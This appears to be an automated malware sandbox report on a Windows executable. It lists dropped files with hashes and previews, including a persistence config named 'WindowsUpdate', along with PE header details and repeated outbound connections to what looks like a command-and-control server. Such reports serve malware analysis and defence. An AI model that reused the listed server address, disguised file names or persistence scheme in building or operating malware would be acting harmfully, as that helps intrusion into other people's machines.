SHA-256:	D47ED1047E043162E221D1A21B5E19D8A24641442BCB17C6C8A51F9456998751
SHA-512:	21385ADA5436112899AAA4651A6D561499735E6E59674258C9DE6B38A50E671276AE9E8B5C7F70E60321CF41846AE34E299D179FBF6226027D9A9C99751AD09B
Malicious:	false
Preview:	..T.e.l.e.V.r.a.m.(.1.3.0.).:.T.e.l.e.V.r.a.m.(.1.3.0.).:.T.e.l.e.V.r.a.m.(.1.3.0.).:.T.e.l.e.V.r.a.m.(.1.3.0.).:.T.e.l.e.V.r.a.m.(.1.3.0.).:.T.e.l.e.V.r.a.m.(.1.3.0.).:.T.e.l.e.V.r.a.m.(.1.3.0.).:.T.e.l.e.V.r.a.m.(.1.3.0.).:.T.e.l.e.V.r.a.m.(.1.3.0.).:.T.e.l.e.V.r.a.m.(.1.3.0.).:.T.e.l.e.V.r.a.m.(.1.3.0.).:.T.e.l.e.V.r.a.m.(.1.3.0.).:.....T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.

C:\Users\user\AppData\Roaming\wlnk\srnkdleah.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	609
Entropy (8bit):	5.517312307798012
Encrypted:	false
SSDEEP:	12:UIVldnzxwXVoUbApRq1RfoSbdLjPlruYpdMQ2DuyX4Ozjc:UIVrzArKSRjbdLpruYp6LVXhc
MD5:	834D7436B1908047FBC4801E3D9EA735
SHA1:	8CC6441F6A4A65902AE20C8D0D73A59048227253
SHA-256:	056D4C251DE76715737124CCB63E6652840EE3EE66A41F45B109B3F413EE864B
SHA-512:	EFFC86EF8949E1C231F9C18C807AFC39882CAFA2BEB5E87F10E2AC5D8378D2F2AC3C94679EEFCFE9F4AF6C260E524BAC051FC789D147215CCD552A1D44EDAE7A
Malicious:	false
Preview:	f50235..ColorConstants FileConstants..352950q81ZrVFh028w23smi5ASTD3t45Ct47b4Fw158ndgMh3K8m85EiwUL2u71BM7lZtO224PpgS..DateTimeConstants ToolbarConstants..7I140n089014u589NkB234fraO117t2bUc22235..ButtonConstants StructureConstants..051t2ZNexB6gD177M3wL7DwCP9fyN9IObJ13veie35ZCH8hkXq072r3E65..UpDownConstants GuiDateTimePicker..0HA4463l63225A30l7V..TreeViewConstants ButtonConstants..2165..FontConstants GuiDateTimePicker..17cPgv6Fdp776612952eHNUp781420VTI8W983PRn00cpvD43sshTf0Ie6qdFaB2bhPVHJN14687h1QD9ZM6h26971hH5rc938Z7D60g585q20VD24BhB05L626UeS525S18lCuvmC7PZKb9k7MHy..GuiDateTimePicker StructureConstants..

C:\Users\user\AppData\Roaming\wlnk\tnlupe.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	113665448
Entropy (8bit):	6.924457735552897
Encrypted:	false
SSDEEP:	196608:Gt8gSuolgztogeon51s+rCBTHJVUdOHtBJagqthtgE/zBACLTxLun176fzoEh+To:M
MD5:	BD375FCAB430AB12BBE70CFFB392EE88
SHA1:	E7E5B1703F84C7ECF79E1F2F0F425FC084F1D215
SHA-256:	DE5DC11F91E1F382D44EA0CFD15983680CD2A9239882672C003EB7DA281F5218
SHA-512:	EAE4BF46DF8BEA8F9B0C4E028BDE510AFBB12A9BFB9709E5271848D4C9AB38879B987F6DCABE4B0DE7536A481F368A2EF516295C443BAEAAE8E3C2780C9C9F30
Malicious:	false
Preview:	..;.$...bp....u.w ..... .kJ....Q]Du.........e..~7....!}{%.9.k.X...j..ke.....J*b.+(<. N-dP1...E7........0............g..p...".l....`..b.\|.b....MEZQ....(iyh}...P...?........+..-._k.?..T.....z..'.m.. ....#.c.s.-`.&..V..p...u#.$P....e..DF....W...w.j.O._.-....u= .....IA^.z....sl....&....o....Yp..E....1..2.hd~Bv....{.Xe...n.?.mMp\|.c=.....Z}[by..]/..H...K.....k.r....n.3.g.b.6.4.w.B.4.8.0.3.7.X.O.5.n.9.0.i.6.5.g.8.r.2.d.J.2.....l.2.Q.8.l.H.0.L.....,...x.0]t..E.....m...1?h.o..!.>.R..m....X...4C..U..i....p#"....<@....wI.y.^j..}E....:A..X4..{Q...>...I...bI]a ...f..'...%...!.......t.RJm(.o.68.......J~.~o.x/}.E...v.....k.6.B.2.g.L.3.3.1.0.w.o.....X.t.6.Q.V.C.5.4.T.7.2.s.5.r.5.9.v.0.4.H.q.3.z.A.h.r.4.o.2.S.W.G.O.Z.M.5.F.L.e.6.m.K.1.3.N.W.k.8.....j.y.c.P.7.6.6.b.5.9.x.d.0.P.1.k.6.8.f.r.h.v.4.8.t.5.p.L.i.G.3.....m.6.4.W.9.2.....9.8.4.2.X.U.Y.0.5.4.4.2.9.C.5.W.3.U.9.6.2.X.j.e.C.r.Z.1.Y.T.9.3.k.....b.8.4.E.9.e.9......L..b..`..n...zh.jQ.3.^..<bDS.0../5.m..:\|..)..Ja.5r.,.../

C:\Users\user\AppData\Roaming\wlnk\uraspfn.bin

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	41169
Entropy (8bit):	5.574992140650956
Encrypted:	false
SSDEEP:	768:SqzHu71BxiT+rwNwh5KG/KKQs2TUdeDPz6YzTwnuO+YZk7IZ:NHU1rstNrGiKQRT9DL6DuOP9
MD5:	5FE3C2E677E90B8971DCAEC9D9CF973D
SHA1:	CCCEFD97B61B17F2BC60983D2437925A7B063B20
SHA-256:	762982A2B57B2A93DD63FBF230DA414B6C3ABC6240D4B0AF7BB940DC81B74512
SHA-512:	2C204731CC1BDB18259E737CDCE622833367413BF10A75A73E23D3C531E3739093D0E4227C032AAB61EA8F26A8D65175AC3072EAF61116FF07BC623E0D402727
Malicious:	false
Preview:	Gs8k9G..09Dze2Ri21v07024j3Bkj08k43620w..as6F9u248nt4E5D34X8TicUo56G1p6Iq7HWQ6CO543yP0E..xaJjJ6998evt364K2JMk3JUL1V169d17W1525g8u64Q8mg624Dq69u..RwDHspQjqT7082C211yji23005131f84T0V4Rt783H5qN..71503293t47A3715b4GE0K1n2HSP78l25n49k2qOp668h89L439GV76rXE63A660vI238..VPtgmDkG5IY651h2xX92d3O72m544t7j6KbS3789u3..8juXPy4HfT34a96W79i4L635wQN7C64m0fV5Q6G83u2Dsd..phmvnO5wH7bw707x270573Yr30Iaqb8Z3ornK7..Sk69g85nW3urpi71T05z02880K89onK84T33dy93ziqP..4J937x4E606vqL7fKZg2G8uTA2f20g8z8N7j58097O6w98030D1O8RN9S..Mnh8Sb8x5UW0x4M26I8f394Z8..9A9cur15YeDDM5O8G3A7rDs4949a4k9RYF76v99K..SM6gUf3u8v64W2N889l16N5arA6z268E1Y8T6c8b27d42d29S6i..S8whuJPCVO3N3Fm05JeGtD4M..l1p19Kskx87icmQeA2umK9E66LU8j87e320208152Hk75O7B1OP9UU22..t602Dct2yRctvCMtZyp4kn25XRJ0qH921b0r67t..4940R0K3j25Z941pc385q1bKK31ajV75rr6v905G4b497939SDz6k961po13O70z0..gu0QN79T640hn842q969k980Qe8i3k78137xBT5QI4x94G..u8u2ItTd0afA0F0T8lk38J1Eu5W1867To0PF8V8466vS13..Lc5l4blEH80kJtCcncqb3G3r12116x544DE59gG1Z0gR055nei3um11eU6x48Y..n62F5C0l6GM181230H77R8364N7

C:\Users\user\AppData\Roaming\wlnk\wbaxv.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	517
Entropy (8bit):	5.60876413392208
Encrypted:	false
SSDEEP:	12:g3tc6T0er7S8x1pbJ5+HB+PteGsoregI5v:sTNr7S8rpbJdPtWg8v
MD5:	4DAA3E600C4D2C162FFE78C5DF68AB8E
SHA1:	C1F052EB1577599B89B70AE99BD9E6C8DDE4F822
SHA-256:	C2B1869137E2E69E3969C50A0918EB71C5797F84FAF4093AEF0C890957A193EA
SHA-512:	35C537693DF896C6B62118BD38BBDC6C0B4233C391FA11FEC0E49373E08E7BAEDC9FAB07489BC9C55D7D69797820AEFC6C21C62B5A8669EE8AEF297DBF89ED6F
Malicious:	false
Preview:	94fl4Vi93m506967tqUkd2rq80v81m3D5T71v6B8JtB12z46779Q7o7M6EGvF4uJWM5dt4i62H71S43T9575xR5xP644ye..ToolbarConstants ToolbarConstants..59s492Ipmlntg9c0WuAa6yOc2fLAUFHlRtlbYoa..FileConstants ToolbarConstants..863Zy4EYs568DAWVZ2uH3890igu5Y361H1Y8v4o929lSB6556M2yTP3o342t8721N0H6p5nw5959eA2..GuiDateTimePicker StructureConstants..c64xycev244ZQqU4x410L5X6rVO617q4C7z3K7gB5k81h3g4sx2HPo2VDBj113h748313BS7G7jI8bt315ob95142G2g09z0..StructureConstants ToolTipConstants..QV0HiRFd3ZDK9227R86G6WQ..ComboConstants GuiDateTimePicker..

C:\Users\user\AppData\Roaming\wlnk\xddkunhuro.msc

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	507
Entropy (8bit):	5.6090252322037335
Encrypted:	false
SSDEEP:	12:B0SXXoGYepQld6qJM7hBfZJyCv6jMJoDbGPWqJ5QEWz:JlYQyd6WM7BJzS4mbtq5uz
MD5:	992C91B45A9F3472868D47E61CB8675E
SHA1:	FCDFBC8EC428982B4CB0B09FB00244DE0BC78073
SHA-256:	A8A5116542D33261544E18C4431C11A45F77AB24A7F06A2C1D06480066EC6E62
SHA-512:	24054844512035AB6962F3ABE2DA36D56AC7E182A72A19D8A38F1C356D7BDE30F14FE6FE3EF057C602A73E53A5D9131676C01F1EF99B545877015A4D3243B9EB
Malicious:	false
Preview:	8u945m2142LJ65a6So7R8t5st6601672XsVFQib88SnLg9143011331K3RuSbm3..GuiDateTimePicker StructureConstants..mSs378DDJFLCg18436734Q4owR926424B2q2EexiB..DateTimeConstants GuiDateTimePicker..9ZD6F6qLj9L01K0Z904p58I62uwhO5xE78414y9z074U1i4TxBRJtk1ak3qC223u0A74u83jKy0t..ToolbarConstants ToolbarConstants..vhhqME9L023D54yNN5374t7676B88B69DrU6uipg1csk9mRX436188452v88a57mqh5Yv930203v1bX00p630uz9NMO0qrg22OfJjm0qX53kIgVl4B343Q4xd7GM8R741352Bxng4HWRbY8r1swz4E5hE74167uHr3R13on315KY89..UpDownConstants DateTimeConstants..

C:\Users\user\temp\uraspfn.bin

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.972176674810693
Encrypted:	false
SSDEEP:	3:YRRvufhJ4ENvuAp9JlC9hRGdY66zidsI8y:Av0f9ZoG3648y
MD5:	6883F353F1F2DCAAEC509E79B343884A
SHA1:	1C14B5DD9B50C493F1B1E47D9797D248909E9892
SHA-256:	B97288CD746477E7C09411B8F5182F217DD8A95B4ECDE7DDCB046A5436ED0F56
SHA-512:	730DC24F722F73E9449D46272E45DD55863BFF38D3EC947A4E200230D67A7C27F4F643F436827107A3304916D6A5B9F2D7046951A1811873A9E46AB481AFB2FE
Malicious:	false
Preview:	[S3tt!ng]..stpths=%appdata%..Key=WindowsUpdate..Dir3ctory=wlnk..ExE_c=qwlvpmrupf.mp3..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.890106938142716
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	ngPebbPhbp.exe
File size:	1'684'188 bytes
MD5:	fa000351e26e17543f67e3dedc97d37e
SHA1:	c59fc4f489ac15d5a1d455abbf0c3c5ad6fcc189
SHA256:	5f58e87fee021cbaa9ecfae2d5f8709bd0934b2d2d2779a8f24993425fb20350
SHA512:	1bf517f2b0d3c156c2850f161f4bedf735361a8951d807b05eeaa711a0720031e545d5dd56f46337f059ef18bea1523ec1f5a5b96e83d6380eb74e6526bd0025
SSDEEP:	49152:cpUlRhQMnbfKk8QkwCRYhtkp0d0X1zJ5w+ufya5h:cpUlYEfKk8DTROk6dK1l5wF
TLSH:	D4752202BBC48472D5B324310AF58B511A7CB9212F718ACF63D519BD9B71AD2DA31FA3
File Content Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......v..p2.b#2.b#2.b#.E.#?.b#.E.#..b#.E.#.b#...#0.b#..f"!.b#..a".b#..g"..b#;..#9.b#;..#5.b#2.c#,.b#..g"..b#..b"3.b#...#3.b#..`"3.b

File Icon


Icon Hash:	4f858a8a888ac14f

Static PE Info

General

Entrypoint:	0x4265d0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x6640971F [Sun May 12 10:17:03 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	99ee65c2db82c04251a5c24f214c8892

Entrypoint Preview

Instruction
call 00007FF4D0D3743Bh
jmp 00007FF4D0D36DBDh
int3
int3
int3
int3
int3
int3
push ecx
lea ecx, dword ptr [esp+08h]
sub ecx, eax
and ecx, 0Fh
add eax, ecx
sbb ecx, ecx
or eax, ecx
pop ecx
jmp 00007FF4D0D3646Fh
push ecx
lea ecx, dword ptr [esp+08h]
sub ecx, eax
and ecx, 07h
add eax, ecx
sbb ecx, ecx
or eax, ecx
pop ecx
jmp 00007FF4D0D36459h
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007FF4D0D29999h
push 0044634Ch
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007FF4D0D37C67h
int3
jmp 00007FF4D0D3D99Eh
int3
int3
push 004293C0h
push dword ptr fs:[00000000h]
mov eax, dword ptr [esp+10h]
mov dword ptr [esp+10h], ebp
lea ebp, dword ptr [esp+10h]
sub esp, eax
push ebx
push esi
push edi
mov eax, dword ptr [00449778h]
xor dword ptr [ebp-04h], eax
xor eax, ebp
push eax
mov dword ptr [ebp-18h], esp
push dword ptr [ebp-08h]
mov eax, dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFEh
mov dword ptr [ebp-08h], eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov ecx, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], ecx
pop ecx
pop edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
push ecx
ret
push ebp
mov ebp, esp

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x47d70	0x34	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x47da4	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x58000	0x9428	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x62000	0x2afc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x44580	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x44600	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x3ec58	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x3c000	0x280	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x4722c	0x120	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3a32c	0x3a400	e320764e1b3c816ba80aeb820cb8a274	False	0.581381605418455	data	6.685359764265178	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x3c000	0xcbf8	0xcc00	47c3be3304bfdfb2a778f355849d1c3f	False	0.4439529718137255	data	5.167069652624378	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x49000	0xd7e0	0x1200	6335f9314c2900dccb530e151f1b1ee8	False	0.3956163194444444	data	4.0290550032041	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didat	0x57000	0x1a8	0x200	232a8fe82993b55cefe09cffc39a79b0	False	0.462890625	data	3.5080985761326375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x58000	0x9428	0x9600	02b344b619e272faf6cb04beedab1a4e	False	0.7404947916666667	data	7.0359500857205655	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x62000	0x2afc	0x2c00	98fd4bc572f87a21f69dc57f720a6dbc	False	0.75	data	6.617141671767599	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
PNG	0x58554	0xb45	PNG image data, 93 x 302, 8-bit/color RGB, non-interlaced	English	United States	1.0027729636048528
PNG	0x5909c	0x15a9	PNG image data, 186 x 604, 8-bit/color RGB, non-interlaced	English	United States	0.9363390441839495
RT_ICON	0x5a648	0x475c	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			0.8958287716225093
RT_DIALOG	0x5eda4	0x286	data	English	United States	0.5092879256965944
RT_DIALOG	0x5f02c	0x13a	data	English	United States	0.60828025477707
RT_DIALOG	0x5f168	0xec	data	English	United States	0.6991525423728814
RT_DIALOG	0x5f254	0x12e	data	English	United States	0.5927152317880795
RT_DIALOG	0x5f384	0x338	data	English	United States	0.45145631067961167
RT_DIALOG	0x5f6bc	0x252	data	English	United States	0.5757575757575758
RT_STRING	0x5f910	0x1e2	data	English	United States	0.3900414937759336
RT_STRING	0x5faf4	0x1cc	data	English	United States	0.4282608695652174
RT_STRING	0x5fcc0	0x1b8	data	English	United States	0.45681818181818185
RT_STRING	0x5fe78	0x146	data	English	United States	0.5153374233128835
RT_STRING	0x5ffc0	0x46c	data	English	United States	0.3454063604240283
RT_STRING	0x6042c	0x166	data	English	United States	0.49162011173184356
RT_STRING	0x60594	0x152	data	English	United States	0.5059171597633136
RT_STRING	0x606e8	0x10a	data	English	United States	0.49624060150375937
RT_STRING	0x607f4	0xbc	data	English	United States	0.6329787234042553
RT_STRING	0x608b0	0x1c0	data	English	United States	0.5178571428571429
RT_STRING	0x60a70	0x250	data	English	United States	0.44256756756756754
RT_GROUP_ICON	0x60cc0	0x14	data			1.05
RT_MANIFEST	0x60cd4	0x753	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3957333333333333

Imports

DLL	Import
KERNEL32.dll	LocalFree, GetLastError, SetLastError, FormatMessageW, GetCurrentProcess, DeviceIoControl, SetFileTime, CloseHandle, RemoveDirectoryW, CreateFileW, DeleteFileW, CreateHardLinkW, GetShortPathNameW, GetLongPathNameW, MoveFileW, GetFileType, GetStdHandle, WriteFile, ReadFile, FlushFileBuffers, SetEndOfFile, SetFilePointer, GetCurrentProcessId, CreateDirectoryW, SetFileAttributesW, GetFileAttributesW, FindClose, FindFirstFileW, FindNextFileW, InterlockedDecrement, GetVersionExW, GetModuleFileNameW, SetCurrentDirectoryW, GetCurrentDirectoryW, GetFullPathNameW, FoldStringW, GetModuleHandleW, FindResourceW, FreeLibrary, GetProcAddress, ExpandEnvironmentStringsW, ExitProcess, SetThreadExecutionState, Sleep, LoadLibraryW, GetSystemDirectoryW, CompareStringW, AllocConsole, FreeConsole, AttachConsole, WriteConsoleW, GetProcessAffinityMask, CreateThread, SetThreadPriority, InitializeCriticalSection, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, SetEvent, ResetEvent, ReleaseSemaphore, WaitForSingleObject, CreateEventW, CreateSemaphoreW, GetSystemTime, SystemTimeToTzSpecificLocalTime, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, FileTimeToLocalFileTime, LocalFileTimeToFileTime, FileTimeToSystemTime, GetCPInfo, IsDBCSLeadByte, MultiByteToWideChar, WideCharToMultiByte, GlobalAlloc, LockResource, GlobalLock, GlobalUnlock, GlobalFree, GlobalMemoryStatusEx, LoadResource, SizeofResource, GetTimeFormatW, GetDateFormatW, GetExitCodeProcess, GetLocalTime, GetTickCount, MapViewOfFile, UnmapViewOfFile, CreateFileMappingW, OpenFileMappingW, GetCommandLineW, SetEnvironmentVariableW, GetTempPathW, MoveFileExW, GetLocaleInfoW, GetNumberFormatW, DecodePointer, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapSize, SetStdHandle, GetProcessHeap, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineA, GetOEMCP, IsValidCodePage, RaiseException, GetSystemInfo, VirtualProtect, VirtualQuery, LoadLibraryExA, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, InitializeCriticalSectionAndSpinCount, WaitForSingleObjectEx, IsDebuggerPresent, GetStartupInfoW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, RtlUnwind, EncodePointer, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, QueryPerformanceFrequency, GetModuleHandleExW, GetModuleFileNameA, GetACP, HeapFree, HeapAlloc, GetStringTypeW, HeapReAlloc, LCMapStringW, FindFirstFileExA, FindNextFileA
OLEAUT32.dll	SysAllocString, SysFreeString, VariantClear
gdiplus.dll	GdipAlloc, GdipDisposeImage, GdipCloneImage, GdipCreateBitmapFromStream, GdipCreateBitmapFromStreamICM, GdipCreateHBITMAPFromBitmap, GdiplusStartup, GdiplusShutdown, GdipFree

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 21, 2024 13:45:26.186892986 CET	49736	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:45:26.306432962 CET	5151	49736	51.75.171.9	192.168.2.4
Nov 21, 2024 13:45:26.306524038 CET	49736	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:45:26.306726933 CET	49736	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:45:26.426755905 CET	5151	49736	51.75.171.9	192.168.2.4
Nov 21, 2024 13:45:28.461631060 CET	5151	49736	51.75.171.9	192.168.2.4
Nov 21, 2024 13:45:28.461714029 CET	49736	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:45:31.213656902 CET	49736	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:45:31.333384991 CET	5151	49736	51.75.171.9	192.168.2.4
Nov 21, 2024 13:45:36.187004089 CET	49737	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:45:36.307363987 CET	5151	49737	51.75.171.9	192.168.2.4
Nov 21, 2024 13:45:36.307481050 CET	49737	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:45:36.307619095 CET	49737	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:45:36.427083969 CET	5151	49737	51.75.171.9	192.168.2.4
Nov 21, 2024 13:45:38.461788893 CET	5151	49737	51.75.171.9	192.168.2.4
Nov 21, 2024 13:45:38.461858988 CET	49737	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:45:41.194387913 CET	49737	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:45:41.314018011 CET	5151	49737	51.75.171.9	192.168.2.4
Nov 21, 2024 13:45:46.190478086 CET	49738	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:45:46.310224056 CET	5151	49738	51.75.171.9	192.168.2.4
Nov 21, 2024 13:45:46.313878059 CET	49738	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:45:46.314052105 CET	49738	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:45:46.433593988 CET	5151	49738	51.75.171.9	192.168.2.4
Nov 21, 2024 13:45:48.465337038 CET	5151	49738	51.75.171.9	192.168.2.4
Nov 21, 2024 13:45:48.465428114 CET	49738	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:45:51.194165945 CET	49738	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:45:51.315812111 CET	5151	49738	51.75.171.9	192.168.2.4
Nov 21, 2024 13:45:56.187531948 CET	49740	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:45:56.307184935 CET	5151	49740	51.75.171.9	192.168.2.4
Nov 21, 2024 13:45:56.309743881 CET	49740	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:45:56.309743881 CET	49740	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:45:56.429703951 CET	5151	49740	51.75.171.9	192.168.2.4
Nov 21, 2024 13:45:58.468977928 CET	5151	49740	51.75.171.9	192.168.2.4
Nov 21, 2024 13:45:58.469094992 CET	49740	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:46:01.206964016 CET	49740	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:46:01.330326080 CET	5151	49740	51.75.171.9	192.168.2.4
Nov 21, 2024 13:46:06.202698946 CET	49762	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:46:06.322391987 CET	5151	49762	51.75.171.9	192.168.2.4
Nov 21, 2024 13:46:06.322581053 CET	49762	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:46:06.322823048 CET	49762	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:46:06.540515900 CET	5151	49762	51.75.171.9	192.168.2.4
Nov 21, 2024 13:46:08.435230017 CET	5151	49762	51.75.171.9	192.168.2.4
Nov 21, 2024 13:46:08.435323954 CET	49762	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:46:11.223354101 CET	49762	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:46:11.343072891 CET	5151	49762	51.75.171.9	192.168.2.4
Nov 21, 2024 13:46:16.233838081 CET	49785	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:46:16.357084990 CET	5151	49785	51.75.171.9	192.168.2.4
Nov 21, 2024 13:46:16.357335091 CET	49785	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:46:16.357439041 CET	49785	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:46:16.477894068 CET	5151	49785	51.75.171.9	192.168.2.4
Nov 21, 2024 13:46:18.521764994 CET	5151	49785	51.75.171.9	192.168.2.4
Nov 21, 2024 13:46:18.521822929 CET	49785	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:46:21.255970001 CET	49785	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:46:21.375534058 CET	5151	49785	51.75.171.9	192.168.2.4
Nov 21, 2024 13:46:26.249675989 CET	49809	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:46:26.369579077 CET	5151	49809	51.75.171.9	192.168.2.4
Nov 21, 2024 13:46:26.369992971 CET	49809	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:46:26.370179892 CET	49809	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:46:26.489634037 CET	5151	49809	51.75.171.9	192.168.2.4
Nov 21, 2024 13:46:28.498133898 CET	5151	49809	51.75.171.9	192.168.2.4
Nov 21, 2024 13:46:28.498302937 CET	49809	5151	192.168.2.4	51.75.171.9
